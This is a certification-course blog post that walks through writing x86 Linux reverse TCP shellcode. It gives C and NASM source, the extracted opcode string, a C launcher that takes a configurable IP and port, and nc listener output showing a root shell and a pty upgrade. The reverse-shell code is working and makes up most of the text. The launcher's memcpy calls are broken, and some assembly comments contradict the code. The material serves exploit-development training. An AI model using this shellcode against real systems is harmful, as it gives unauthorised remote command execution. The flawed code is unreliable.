Student ID : SLAE - 1314
Assignment 2:
The goal of this assignment is to create a reverse TCP shellcode that does the following
- Reverse connection to configured IP and Port
- Executes shell on successful connection
- IP should be easily configurable
Disclaimer :
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
All the development and tests have been implemented in the following architecture
Linux kali 5.4.0-kali2-686-pae #1 SMP Debian 5.4.8-1kali1 (2020-01-06) i686 GNU/Linux
For this assignment the following C program will be used as a base program in order to create our shellcode
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "192.168.200.4"
#define REMOTE_PORT 1234
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
int sockfd;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
connect(sockfd, (struct sockaddr *)&sa, sizeof(sa));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execve("/bin/sh", 0, 0);
return 0;
}
In order to convert the above code into x86 assembly, there is a need to investigate the system calls being used. Specifically, the following system calls are used:
socket connect dup2 execve
The above system calls except execve and dup2 are socket system calls and they are referenced with socketcall which is a common kernel entry point. Furthermore, the following steps are mentioned in order to construct and create the reverse shell connection as follows
- Use connect system call to connect to a socket in specified address
- Add the destination address to the sockaddr structure
- Duplicate the stdin, stdout and stderr to the open socket
The steps above providing a footprint to further build the reverse tcp shellcode. Moreover, searching the net.h header file we can see the defined identifier for the connect system call
root@slae:~/Documents/SLAE/Assignment2# cat /usr/include/linux/net.h | grep SYS_CONNECT #define SYS_CONNECT 3 /* sys_connect(2) */
Proceeding further, it is time to create the reverse.nasm file. Before starting to write the reverse tcp shellcode in assembly, the registers eax and edx will be zeroed out as follows
global _start section .text _start: xor eax, eax ;zero out eax register mul edx ;zero out edx register
In order to be able to call socket system calls such as socket and connect , first we must use another system call named socketcall which used to determine which socket system call is about to be used. The socketcall prototype is as follows
Socketcall Function Synopsis
#include <linux/net.h>
int socketcall(int call, unsigned long *args);
The call argument determines which socket function to invoke. args points to a block containing the actual arguments, which are passed through to the appropriate call. In this case, the socketcall system call identifier will be determined first and afterwards the socket system calls (socket and connect ) will be called through the call instruction in assembly.
root@slae::~/Documents/SLAE/Assignment2# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socketcall #define __NR_socketcall 102
As seen above, the socketcall can be called using the defined identifier 102 which is 0x66 in hex. Before moving further in x86 assembly, a very important aspect of the language compilation must be mentioned, which is the calling convention.
In x86 Linux systems the system calls parameters are passed into the stack using the following registers
- eax used to hold the system call number. Also used to hold the return value from the stack
- ecx, edx, ebx, esi, edi, ebp are used to pass 6 parameter arguments to system call functions
- All other registers including EFLAGS are preserved across the int 0x80 instruction.
The next step is to create the new socket. Following is the socket system call prototype
Socket Function Synopsis
#include <sys/types.h>
#include <sys/socket.h>
int socket(int domain, int type, int protocol);
According to the socket man page, the socket system call creates an endpoint for communication and returns a file descriptor that refers to that endpoint.
The domain argument specifies a communication domain; this selects the protocol family which will be used for communication. At the current architecture, these families are defined in file /usr/include/i386-linux-gnu/bits/socket.h as shown below
root@slae:~/Documents/SLAE/Assignment2# cat /usr/include/i386-linux-gnu/bits/socket.h | grep AF_ #define AF_UNSPEC PF_UNSPEC #define AF_LOCAL PF_LOCAL #define AF_UNIX PF_UNIX #define AF_FILE PF_FILE #define AF_INET PF_INET #define AF_AX25 PF_AX25 #define AF_IPX PF_IPX #define AF_APPLETALK PF_APPLETALK #define AF_NETROM PF_NETROM #define AF_BRIDGE PF_BRIDGE #define AF_ATMPVC PF_ATMPVC #define AF_X25 PF_X25 #define AF_INET6 PF_INET6 #define AF_ROSE PF_ROSE #define AF_DECnet PF_DECnet #define AF_NETBEUI PF_NETBEUI #define AF_SECURITY PF_SECURITY #define AF_KEY PF_KEY #define AF_NETLINK PF_NETLINK #define AF_ROUTE PF_ROUTE #define AF_PACKET PF_PACKET #define AF_ASH PF_ASH #define AF_ECONET PF_ECONET #define AF_ATMSVC PF_ATMSVC #define AF_RDS PF_RDS #define AF_SNA PF_SNA #define AF_IRDA PF_IRDA #define AF_PPPOX PF_PPPOX #define AF_WANPIPE PF_WANPIPE #define AF_LLC PF_LLC #define AF_IB PF_IB #define AF_MPLS PF_MPLS #define AF_CAN PF_CAN #define AF_TIPC PF_TIPC #define AF_BLUETOOTH PF_BLUETOOTH #define AF_IUCV PF_IUCV #define AF_RXRPC PF_RXRPC #define AF_ISDN PF_ISDN #define AF_PHONET PF_PHONET #define AF_IEEE802154 PF_IEEE802154 #define AF_CAIF PF_CAIF #define AF_ALG PF_ALG #define AF_NFC PF_NFC #define AF_VSOCK PF_VSOCK #define AF_KCM PF_KCM #define AF_QIPCRTR PF_QIPCRTR #define AF_SMC PF_SMC #define AF_XDP PF_XDP #define AF_MAX PF_MAX exception of AF_UNIX). */
Moreover, there are several types of sockets, although stream sockets and datagram sockets are the most commonly used. The types of sockets are also defined inside the file /usr/include/i386-linux-gnu/bits/socket.h. The following output shows the assigned values at the stream and datagram sockets accordingly
root@slae:~/Documents/SLAE/Assignment2# cat /usr/include/i386-linux-gnu/bits/socket.h | grep SOCK_ SOCK_STREAM = 1, /* Sequenced, reliable, connection-based #define SOCK_STREAM SOCK_STREAM SOCK_DGRAM = 2, /* Connectionless, unreliable datagrams #define SOCK_DGRAM SOCK_DGRAM SOCK_RAW = 3, /* Raw protocol interface. */ #define SOCK_RAW SOCK_RAW SOCK_RDM = 4, /* Reliably-delivered messages. */ #define SOCK_RDM SOCK_RDM SOCK_SEQPACKET = 5, /* Sequenced, reliable, connection-based, #define SOCK_SEQPACKET SOCK_SEQPACKET 7 = 6, /* Datagram Congestion Control Protocol. */ #define SOCK_DCCP SOCK_DCCP SOCK_PACKET = 10, /* Linux specific way of getting packets #define SOCK_PACKET SOCK_PACKET SOCK_CLOEXEC = 02000000, /* Atomically set close-on-exec flag for the #define SOCK_CLOEXEC SOCK_CLOEXEC SOCK_NONBLOCK = 04000 /* Atomically mark descriptor(s) as #define SOCK_NONBLOCK SOCK_NONBLOCK
Moreover, the following snippet describes the implementation of the socket system call as well as the use of the socketcall system call.
Socket:
;;sockfd = socket(AF_INET,SOCK_STREAM,0); push edx ; push 0 on the stack which is related with the third argument of the socket system call mov ebx, edx ; zero out ebx inc ebx ; define the SYS_SOCKET value to be 0x1 push ebx ; SOCK_STREAM constant at type argument push 0x2 ; AF_INET constant at domain argument mov ecx, esp ; ECX will point to args at the top of the stack mov al, 0x66 ; call SocketCall() int 0x80 ; call system call interrupt to execute the arguments mov edi, eax ; EAX will store the return value of the socket descriptor to edi register
Also, regarding the second argument of the socketcall system call, the low order register bl of ebx register will be assigned with the value 0x1 which indicates the SYS_SOCKET constant as we see below in red
root@slae:~/Documents/SLAE/Assignment2# cat /usr/include/linux/net.h | grep SYS #define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */ #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */ #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */ #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */ #define SYS_SEND 9 /* sys_send(2) */ #define SYS_RECV 10 /* sys_recv(2) */ #define SYS_SENDTO 11 /* sys_sendto(2) */ #define SYS_RECVFROM 12 /* sys_recvfrom(2) */ #define SYS_SHUTDOWN 13 /* sys_shutdown(2) */ #define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */ #define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */ #define SYS_SENDMSG 16 /* sys_sendmsg(2) */ #define SYS_RECVMSG 17 /* sys_recvmsg(2) */ #define SYS_ACCEPT4 18 /* sys_accept4(2) */ #define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */ #define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */
The following snippet describes the connect system call implementation that comes next in the process of creating the reverse shellcode. Below is the connect system call prototype according to the man page
Connect Function Synopsis
#include <sys/types.h>
#include <sys/socket.h>
int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
The connect system call connects the socket referred to by the file descriptor sockfd to the address specified by addr. The addrlen argument specifies the size of addr. The format of the address in addr is determined by the address space of the socket sockfd; for more details see socket. If the socket sockfd is of type SOCK_DGRAM, then addr is the address to which datagrams are sent by default, and the only address from which datagrams are received. If the socket is of type SOCK_STREAM or SOCK_SEQPACKET, this call attempts to make a connection to the socket that is bound to the address specified by addr.
Connect :
;; sa.sin_family = AF_INET; ;; sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR); ;; sa.sin_port = htons(REMOTE_PORT); ;; connect(sockfd, (struct sockaddr *)sa, sizeof(sa)); pop ebx ; assign ebx with value (2) push 0x04c8a8c0 ; push IP 192.168.200.4 on the stack push word 0xd204 ; push port 1234 on the stack push bx ; push AF_INET constant into the 16 bytes register avoiding nulls mov ecx, esp ; perform stack alignment - ecx points to struct push 0x10 ; the size of the port push ecx ; pointer to host_addr struct push edi ; save socket descriptor sockfd to struct mov ecx, esp ; perform stack alignment - ecx points at struct inc ebx ; use the connect system call (3) mov al, 0x66 ; call the socketcall system call int 0x80 ; call interrupt
As seen at the code above in red, the tcp PORT and the IP are in hex format. They both pushed on the stack after transformed in network byte order. That happened because ports and addresses are always specified in calls to the socket functions using the network byte order convention. This convention is a method of sorting bytes independently of specific machine architectures. The following python script does the network byte convention and then transforms the decimal value into hex in order to use it when the port pushed on the stack
#!/usr/bin/python
import socket, struct, sys
ip=sys.argv[1]
tip = socket.inet_aton(ip)
print "IP in hex Network Byte Order : ", '0x' + hex(struct.unpack("!L", tip[::-1])[0])[2:].zfill(8)
port = sys.argv[2]
nport = socket.htons(int(port))
print "Port in hex Network Byte order : " , hex(nport)
the following output of the script above shows the output of the IP 192.168.200.4 and PORT 1234 in network byte order.
root@slae:~/Documents/SLAE/Assignment2# python naddr.py 192.168.200.4 1234 IP in hex Network Byte Order : 0x04c8a8c0 Port in hex Network Byte order : 0xd204
dup2 Function Synopsis
#include <unistd.h>
int dup2(int oldfd, int newfd);
After the connect system call, there must be a redirection from standard input, output and error descriptors to the socket descriptor created from the socket system call. This has to be done in order to be able to initiate commands in a shell environment at the target machine. The following description has been taken from Linux manual page: The dup2 system call performs the same task as dup, but instead of using the lowest-numbered unused file descriptor, it uses the file descriptor specified in newfd. If the file descriptor newfd was previously open, it is silently closed before being reused.
Dup2 :
;;dup2(sockfd, 2); ;;dup2(sockfd, 1); ;;dup2(sockfd, 0); mov ebx, esi ; move sockfd descriptor to ebx xor ecx, ecx ; zero out the ecx register before using it lo: mov al, 0x3f ; the functional number that indicates dup2 (63 in dec) int 0x80 ; call dup2 syscall inc ecx ; increase the value of ecx by 1 so it will take all values 0(stdin), 1(stdout), 2(stderr) cmp cl, 0x2 ; compare ecx with 2 which indicates the stderr descriptor jle lo ; loop until counter is less or equal to 2
execve Function Synopsis
Now that the standard input, output and error are pointing to 0,1,2 file descriptors, the run the execve function will be run in order to execute the /bin/sh command to the target host.
#include <unistd.h>
int execve(const char *filename, char *const argv[],
char *const envp[]);
Execve:
;; execve("/bin/sh", 0, 0); xor eax, eax ; zero out the eax register push eax ; push NULL into the stack push 0x68732f2f ; push "hs//" in reverse order into stack push 0x6e69622f ; push "nib/" in reverse order into stack mov ebx, esp ; point ebx into stack push eax ; push NULL into the stack mov edx, esp ; point to edx into stack push ebx ; push ebx into stack mov ecx, esp ; point to ecx into stack mov al, 0xb ; 0xb indicates the execve syscall int 0x80 ; execute execve syscall
As just shown, the /bin/sh string is pushed onto the stack in reverse order by first pushing the terminating null value of the string, and then pushing the //sh (4 bytes are required for alignment and the second / has no effect), and finally pushing the /bin onto the stack. At this point, we have all that we need on the stack, so esp now points to the location of /bin/sh.
Now that the code is ready, it is time to test it. The following commands will be used in order to compile and link the code.
root@slae:~/Documents/SLAE/Assignment2# nasm -f elf32 -o reverse.o reverse.nasm root@slae:~/Documents/SLAE/Assignment2# ld -z execstack -o reverse reverse.o
Furthermore, the reverse program runs as follows
root@slae:~/Documents/SLAE/Assignment2# ./reverse
In detail, when the reverse program runs, a connection initiates to the target machine that listens to port 1234
~ nc -nlv 1234 whoami root netstat -antp | grep 1234 tcp 0 0 192.168.200.13:50914 192.168.200.4:1234 ESTABLISHED 812/s
Furthermore, after the successful connection to the target machine, we will use the following python command in order to have a bash prompt to the open shell above
~ nc -nlv 1234 python -c 'import pty; pty.spawn("/bin/bash")' root@slae:~/Documents/SLAE/Assignment2# id id uid=0(root) gid=0(root) groups=0(root) root@slae:~/Documents/SLAE/Assignment2# netstat -antp | grep 1234 netstat -antp | grep 1234 tcp 0 0 192.168.200.13:50914 192.168.200.4:1234 ESTABLISHED 812/s
Moreover, in order to create the configurable shellcode, the first thing to do is to use the following command to create the shellcode
root@slae:~/Documents/SLAE/Assignment2# objdump -d ./reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\xf7\xe2\x52\x89\xd3\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc7\x5b\x68\xc0\xa8\xc8\x04\x66\x68\x04\xd2\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xfb\x31\xc9\xb0\x3f\xcd\x80\x41\x66\x83\xf9\x02\x7e\xf5\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
Afterwards, the following code utilises the shellcode created from the assembly code. The program initialises a custom PORT and IP to connect to the target host.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define PORT 27
#define IP 21
int main(int argc, char *argv[])
{
unsigned char shellcode[] = \
"\x31\xc0\xf7\xe2\x52\x89"
"\xd3\x43\x53\x6a\x02\x89"
"\xe1\xb0\x66\xcd\x80\x89"
"\xc7\x5b\x68"
"\xc0\xa8\xc8\x04" //IP
"\x66\x68"
"\x04\xd2"// PORT
"\x66\x53\x89\xe1\x6a\x10"
"\x51\x57\x89\xe1\x43\xb0"
"\x66\xcd\x80\x89\xfb\x31"
"\xc9\xb0\x3f\xcd\x80\x41"
"\x66\x83\xf9\x02\x7e\xf5"
"\x31\xc0\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x89\xe2"
"\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
if (argc < 2) {
printf("[!] Usage: %s <IP> <PORT>\n\n", argv[0]);
return -1;
}
// provide binary form of the IP into the shellcode in order to be able to connect to that specific IP address
unsigned ipaddress = inet_addr(argv[1]);
// copy the IP in the right shellcode offset 21 bytes from the beginning of the shellcode
memcpy(shellcode[IP], ipaddress, 4);
// provide binary form of the port into the shellcode in order to be able to connect to that specific port
unsigned int port = htons(atoi(argv[2]));
// copy the new port in the right shellcode offset 27 bytes from the beginning of the shellcode
memcpy(shellcode[PORT], port, 2);
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
the following command will be used to compile the program above
root@slae:~/Documents/SLAE/Assignment2# gcc -fno-stack-protector -z execstack -m32 -o revshell revshell.c
Furthermore, as seen below when the revshell program runs, then if a target machine listens to specific port ( e.g 1234 using a listener ) , then a new connection starts on the target machine.
root@slae:~/Documents/SLAE/Assignment2# ./revshell 192.168.200.4 1234 Shellcode Length: 84
As we see below the communication has been established with the target machine on port 1234 and we can run commands remotely
~ nc -nlv 1234 whoami root netstat -antp | grep 1234 tcp 0 0 192.168.200.13:50914 192.168.200.4:1234 ESTABLISHED 812/s
Furthermore, after the successful connection to the target machine, we will use the following python command in order to have a bash prompt to the open shell above
~ nc -nlv 1234 python -c 'import pty; pty.spawn("/bin/bash")' root@slae:~/Documents/SLAE/Assignment2# id id uid=0(root) gid=0(root) groups=0(root) root@slae:~/Documents/SLAE/Assignment2# netstat -antp | grep 1234 netstat -antp | grep 1234 tcp 0 0 192.168.200.13:50914 192.168.200.4:1234 ESTABLISHED 812/s